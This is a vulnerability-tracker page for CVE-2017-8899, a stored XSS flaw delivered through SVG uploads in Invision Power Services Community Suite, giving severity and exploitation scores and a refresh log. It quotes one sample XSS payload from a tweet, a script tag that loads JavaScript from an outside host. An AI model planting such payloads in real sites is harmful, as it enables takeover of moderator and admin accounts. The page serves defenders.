CVE-2017-8899

HIGHNVD 8.18.1—
EchelonGraph scoreMEDIUM confidence

Score 8.1 from GitHub Security Advisory (severity: HIGH) published 2022-05-13. NVD baseline CVSS 8.1; sources differ by 0.0.

Triggered by: GitHub Security Advisory CVSS
Sources: epss, ghsa, nvd
8.1EG
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: 1%CVSS: 8.1Exploit: None knownExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Invision Power Services (IPS) Community Suite 4.1.19.2 and earlier has a composite of Stored XSS and Information Disclosure issues in the attachments feature found in User CP. This can be triggered by any Invision Power Board user and can be used to gain access to moderator/admin accounts. The primary cause is the ability to upload an SVG document with a crafted attribute such an onload; however, full path disclosure is required for exploitation.

CVSS v3
8.1
EG Score
8.1(medium)
EG Risk
42(Track)
EG Risk 42/100SSVC: Track

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity81% × 45%
Exploitation1% × 40%
Automatability30% × 15%
Action: Routine — remediate on your standard cadence.
EPSS PROB
1%
EPSS %ILE
73%
KEV
Not listed

Published

May 11, 2017

Last Modified

June 17, 2026

Advisory Details (1)

Auto-updated Sep 13, 2026
No patch confirmed yet.
generic

Corben Leo on X: "@Psych0tr1a @insecurity Payload could be something like this: <script src=//sxcurity.pro/pocs/p.js></script>" / X

https://twitter.com/sxcurity/status/862284967715381248

Weakness Classification(2)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 4× in last 7d / 21× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

Showing the most recent 100 of 158 total refreshes for this CVE.

  1. 2026-09-24 13:59 UTCEPSS rescore
  2. 2026-09-23 13:42 UTCEPSS rescore
  3. 2026-09-21 20:27 UTCEPSS rescore
  4. 2026-09-19 15:36 UTCEPSS rescore
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  1. 2026-08-18 13:43 UTCEPSS rescore
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  20. 2026-07-23 14:15 UTCEPSS rescore
  21. 2026-07-23 01:31 UTCEG score recompute
  22. 2026-07-22 22:10 UTCEG score recompute
  23. 2026-07-22 14:04 UTCEPSS rescore
  24. 2026-07-21 15:21 UTCEPSS rescore
  25. 2026-07-20 17:04 UTCEPSS rescore
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  27. 2026-07-19 14:28 UTCEPSS rescore
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  38. 2026-07-13 22:26 UTCEPSS rescore
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  40. 2026-07-12 05:43 UTCEPSS rescore
  41. 2026-07-11 08:24 UTCEPSS rescore
  42. 2026-07-09 19:06 UTCEPSS rescore
  43. 2026-07-08 15:11 UTCEPSS rescore
  44. 2026-07-07 13:42 UTCEPSS rescore
  45. 2026-07-06 16:24 UTCEPSS rescore
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  49. 2026-07-05 02:27 UTCEPSS rescore
  50. 2026-07-04 06:28 UTCEPSS rescore
  51. 2026-07-04 06:28 UTCEPSS rescore
  52. 2026-07-02 16:54 UTCEPSS rescore
  53. 2026-07-01 15:03 UTCEPSS rescore
  54. 2026-06-30 23:19 UTCEPSS rescore
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  56. 2026-06-29 14:03 UTCEPSS rescore
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  60. 2026-06-27 03:06 UTCEPSS rescore
  61. 2026-06-25 13:47 UTCEPSS rescore
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  64. 2026-06-23 21:30 UTCEPSS rescore
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  68. 2026-06-21 14:54 UTCEPSS rescore
  69. 2026-06-21 14:54 UTCEPSS rescore
  70. 2026-06-21 01:57 UTCEPSS rescore
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  72. 2026-06-19 19:23 UTCEPSS rescore
  73. 2026-06-19 19:23 UTCEPSS rescore
  74. 2026-06-18 17:50 UTCEPSS rescore
  75. 2026-06-17 17:50 UTCEPSS rescore

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Frequently asked(5)

What is CVE-2017-8899?
CVE-2017-8899 is a high vulnerability published on May 11, 2017. Invision Power Services (IPS) Community Suite 4.1.19.2 and earlier has a composite of Stored XSS and Information Disclosure issues in the attachments feature found in User CP. This can be triggered by any Invision Power Board user and can be used to gain access to moderator/admin accounts. The…
When was CVE-2017-8899 disclosed?
CVE-2017-8899 was first published in the National Vulnerability Database on May 11, 2017, with the most recent update on June 17, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2017-8899 actively exploited?
CVE-2017-8899 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 1% probability of exploitation in the next 30 days, which ranks it in the top 27.2% of all scored CVEs.
What is the CVSS score of CVE-2017-8899?
CVE-2017-8899 has a CVSS v3 base score of 8.1 (NVD).
How do I remediate CVE-2017-8899?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2017-8899, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

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